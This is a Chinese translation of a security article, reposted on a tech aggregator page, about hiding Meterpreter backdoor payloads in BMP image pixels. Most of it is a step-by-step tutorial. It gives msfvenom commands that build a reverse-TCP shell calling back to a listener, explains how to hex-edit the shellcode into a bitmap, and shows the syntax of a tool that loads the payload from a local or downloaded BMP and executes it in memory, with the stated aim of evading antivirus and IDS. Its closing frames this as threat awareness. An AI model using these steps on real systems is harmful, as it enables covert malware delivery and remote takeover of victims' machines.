【技术分享】通过BMP图像像素传输后门payload

栏目: 服务器 · 发布时间: 8年前

内容简介:【技术分享】通过BMP图像像素传输后门payload
2017-05-10 14:05:15 阅读:80次 作者:华为未然实验室

【技术分享】通过BMP图像像素传输后门payload

翻译: 华为未然实验室

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

在本文中,我将谈谈BMP文件,及如何使用位图文件传输数据或恶意软件有效载荷。通过图像传输或渗透数据的想法并不新鲜,那我为什么要谈论这方面的内容呢?因为这真的很危险,我还要谈谈关于该威胁的重要问题,比如,为何没人关心这个?

像往常一样,我要谈谈传输后门有效载荷,我们还可以测试绕过反病毒软件或IPS(入侵防御系统)/IDS(入侵检测系统)的威胁。

首先,我给大家展示一张简单的BMP图片。

从图1中可以看到,背景为黑色,上面是红线。现在告诉我:你看到这张图片中有什么问题吗?或有什么不合理之处吗?

【技术分享】通过BMP图像像素传输后门payload

图1

现在我来给大家展示这张图片中您可能没有看到的不合理点。

【技术分享】通过BMP图像像素传输后门payload

图2:图像像素背后的恶意软件有效载荷注入

现在大家可以看到我说的是哪儿了,现在我要谈谈这为什么危险,及其实现方法。

重要问题:

为什么通过图像传输有效载荷或数据是危险的?

1. 因为没有人认为这是重要的威胁。

2. 到目前为止,您是否曾通过防病毒软件扫描BMP文件?

3. 您是否使用防病毒软件实时检测和实时扫描BMP文件?

4. 这些防病毒软件能在多大程度上检测出该威胁?

5. 当有人在目标网站或受感染的网站中发布了BMP文件时,如何能检测到该威胁?

6. 可以使用该技术进行Web攻击吗?或可以使用该技术绕过WAF及从BMP文件读取有效载荷以进行Web攻击吗?

7. 对于Web和网络中的渗漏,这是通过端口80或443传输有效载荷和数据的最佳方式之一,尤其是端口80,无论BMP文件中是否进行了有效载荷加密。

8. 防火墙或IPS / IDS可以为此做什么,这些 工具 能在多大程度上检测出该技术?

9. 如果我在本地为我的后门使用该技术及图中的加密有效载荷,那么谁可以通过何种方式检测出?或者,如果我通过分块BMP文件使用该技术,意思是将有效载荷分解到一个以上图片文件中,那么如何检测到?

实现方法

首先,我来通过简单的例子谈谈手工实现方式(无代码),随后我将发布该技术的 C# 代码,并将解释如何将我的工具用于该技术。

我们是要通过像素将有效载荷注入BMP图像文件(仅BMP格式)。

每个像素都有其颜色的RGB代码。在该技术中,我们应该将我们的有效载荷注入到每个像素的RGB代码,所有我们的步骤如下:

像素背后的代码
像素 1 = R(112) , G(255) , B(10)
像素2 = R(192) , G(34) , B(84)
像素3 = R(111) , G(0) , B(190)

现在我们获得RGB有效载荷:112,255,10,192,34,84,111,0,190

十进制 == 十六进制
 
112 == 70
255 == ff
10 == 0A
 
192 == C0
34 == 22
84 == 54
 
111 == 6F
0 == 00
190 == BE
 
所以我们的像素有Meterpreter有效载荷: 70FF0AC022546F00BE

所以我们的像素有Meterpreter有效载荷:70FF0AC022546F00BE

从图3可以看到,我们有十六进制和十进制,及每个像素的颜色。

【技术分享】通过BMP图像像素传输后门payload

图3

现在您已了解,对于注入方法,应改变BMP文件中的何处及如何改变。

以手工方式将Meterpreter有效载荷逐步注入BMP文件:

在这一部分,我要谈谈如何以手工方式逐步完成注入:

第1步:首先,您需要一个BMP文件,在Windows中,您需要使用MS Paint绘制一个。

注意:在Windows中只能通过MS Paint完成这些步骤。

从图4中可以看到,我们有一个700 * 2像素的空白BMP文件。

【技术分享】通过BMP图像像素传输后门payload

图4:700 * 2像素的BMP文件

现在我们有一个700 * 2像素的空白BMP文件,现在您可以以“24位位图”颜色格式保存此文件。

第2步:您应该在Kali linux中制作Meterpreter有效载荷,通过其中一个命令,您可以获得Meterpreter有效载荷:

msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f c > payload.txt
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f num > payload.txt

3 :现在您应该将您第 2 步中的有效载荷注入到第 1 步中制作的 BMP 文件中, kali linux 中通过 hexeditor 命令, Windows 中通过“ Hexeditor NEO” 工具。

在图5中,您可以在更换有效载荷之前看到您在第1步中制作的BMP文件的hex editor NEO。

【技术分享】通过BMP图像像素传输后门payload

图5

在图6中可以看到,我们有3个像素带有这些有效载荷“70FF0A-C02254-6F00BE”

【技术分享】通过BMP图像像素传输后门payload

图6

现在您可以看到,当您想将这些有效载荷注入到图像(本例中为BMP)中时BMP中会发生什么。

为此,在该步骤中,您应该按图7所示在Kali linux中通过hexeditor命令编辑此BMP文件(第1步)。

此时,您应该使用工具Copy-Paste从“偏移36”到最后将Meterpreter有效载荷注入文件。偏移36是BMP头之后的第一个字节(BMP头是54字节),也就是图5中绿线部分。

注意:在更改BMP文件前,您应该将您的Meterpreter有效载荷从类型“0xfc”更改为“fc”,所以您的有效载荷应该如图9中的“Pay.txt”文件所示。(重要)

现在您应该从“Pay.txt”复制有效载荷字符串,然后粘贴到位图文件,从偏移36到最后,如图7和图8所示。

【技术分享】通过BMP图像像素传输后门payload

图7

可以看到,您的有效载荷从图7中的“FF48”开始,以图8中的“FFD5”结束。

【技术分享】通过BMP图像像素传输后门payload

图8

现在您可以保存该文件。

这些步骤之后,您将获得如图9所示的东西,现在您有一个带有注入的Meterpreter有效载荷的BMP文件。

【技术分享】通过BMP图像像素传输后门payload

图9

从图9中可以看到,我们的位图文件有更多像素。

对于Meterpreter有效载荷,我们需要多少像素?

如果我们有510字节的Meterpreter有效载荷,那么我们要有170个像素用于有效载荷。

510字节有效载荷 , 3个字节 1个像素: R + G + B ==> 1+1+1
 
510 / 3 = 170 像素
 
这就是MS Paint 中的0 …. 169像素,如图10所示。

【技术分享】通过BMP图像像素传输后门payload

图10

在制作此BMP文件之后,您需要代码从BMP文件中读取这些有效载荷。

我通过C#编写了一个代码,用于从BMP文件读取Meterpreter有效载荷,及在内存中执行(如后门)。您还可以使用我的工具通过Meterpreter注入方法制作新的位图文件,通过该代码,您可以修改其他BMP文件以注入Meterpreter有效载荷。

使用“NativePayload_Image.exe”逐步执行BMP文件中的Meterpreter有效载荷:

第1步:如果要查看NativePayload_Image语法,您应该不作任何改动运行该代码,如图11所示:

【技术分享】通过BMP图像像素传输后门payload

图11

使用我的代码,您可以使用此语法为本地BMP文件获得非常简单的Meterpreter会话。

对于后门模式,使用该工具,您需要以下语法:

语法: NativePayload_Image.exe bitmap “filename.bmp” [Meterpreter_payload_Length] [Header_Length]
 
语法: NativePayload_Image.exe bitmap “filename.bmp”  510  54
 
 
注意: Meterpreter有效载荷长度为510 (由msfvenom工具使用 “-f C” 或 “-f num”制作)
 
注意: BMP Header长度始终是54

【技术分享】通过BMP图像像素传输后门payload

图12

从图12中可以看到,我获得了本地BMP文件的Meterpreter会话,“NewBitmaImge.bmp”是图9和图10中我的BMP文件。所以可以看到,我们可以通过“有效载荷注入方法”手工制作位图文件,如图9所示。还可以通过我的C#代码在内存中执行位图文件的Meterpreter有效载荷,如图12所示。

在这种情况下,后门和BMP文件应该在同一个目录中,但是您也可以使用BMP文件的路径。

第2步:通过工具创建新的位图文件,并注入Meterpreter有效载荷

在这种情况下,您需要通过以下命令之一获得Meterpreter有效载荷:

msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f c > payload.txt
 
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f num > payload.txt

注意:在此步骤中,您应该更改Msfvenom的输出有效负载,如图13所示。

注意:将“0xfc , 0x48 , 0x83”更改为“fc,48,83, ...”

【技术分享】通过BMP图像像素传输后门payload

图13

如图14所示,您可以创建具有新的File_Name的位图文件。

【技术分享】通过BMP图像像素传输后门payload

图14

正确的语法是:

语法: NativePayload_Image.exe create “Newfilename.bmp” [Meterpreter_payload]
 
语法: NativePayload_Image.exe create “Newfilename.bmp” fc,48,83,....

第3步:修改BMP文件,以将Meterpreter有效载荷注入现有的BMP文件。

在这种情况下,您需要有效载荷,及一个用于添加或注入有效载荷的BMP文件,如图15所示。

【技术分享】通过BMP图像像素传输后门payload

图15

现在您应该使用此语法修改此文件。

语法: NativePayload_Image.exe modify “Existfilename.bmp” [header_length] [Meterpreter_payload]
 
语法: NativePayload_Image.exe modify “Existfilename.bmp”  54  fc,48,83,....
 
 
注意: BMP header长度始终是54。

【技术分享】通过BMP图像像素传输后门payload

图16

如图16所示,修改此文件后,我们可以在“300%缩放”后看到黑色背景中的Meterpreter有效载荷像素。

从下一张图中可以看到,这个修改后的BMP文件很有效。

此时,我要在网站中使用该BMP文件,以供通过HTTP流量下载,所以我们使用上一步中制作的“MyBMP_to_Modify.bmp”文件。我在Kali linux中做了一个Web服务器,以供通过“Url”和HTTP流量下载该位图 文件。

第4步:通过“Url”和HTTP流量从网站下载BMP文件。

我们现在有了该“MyBMP_to_Modify.bmp”文件,我通过Python Web服务器通过“python -m SimpleHTTPServer”在kali linux web服务器中使用这个文件,最终我通过“HTTP流量”获得了Meterpreter会话,如图17所示。

通过Url下载BMP文件,我们的语法是:

语法: NativePayload_Image.exe url “Url” [Meterpreter_payload_Length] [Header_Length]
 
语法: NativePayload_Image.exe url "https://url.com/MyBMP_to_Modify.bmp"  510   54

【技术分享】通过BMP图像像素传输后门payload

图17

总结

这一技术并不新鲜,但我认为没有人关注这个威胁,但这真的危险。我们应该检查我们的防病毒软件是否面临此威胁,尤其是当有人在 BMP 文件中使用加密有效载荷时(大多数防病毒软件均无法检测到),或有人使用该技术时将有效载荷分块到一个以上 BMP 文件时(也很危险)。我认为默认情况下,大多数防病毒软件不实时扫描 BMP 扩展文件,我认为文件系统手动扫描也不能检测到 BMP 文件中的这个有效载荷。如果有人使用该技术进行数据的渗漏传输(无 BMP 文件中的后门有效载荷),那我们如何来防御?我们如何来检测该方法?现在就去检查一下您的防病毒软件吧!

【技术分享】通过BMP图像像素传输后门payload 【技术分享】通过BMP图像像素传输后门payload

本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。

原文链接:http://www.linkedin.com/pulse/transferring-backdoor-payloads-bmp-image-pixels-damon-mohammadbagher?trk=mp-reader-card

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Head First Web Design

Head First Web Design

Ethan Watrall、Jeff Siarto / O’Reilly Media, Inc. / 2009-01-02 / USD 49.99

Want to know how to make your pages look beautiful, communicate your message effectively, guide visitors through your website with ease, and get everything approved by the accessibility and usability ......一起来看看 《Head First Web Design》 这本书的介绍吧!

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

html转js在线工具
html转js在线工具

html转js在线工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具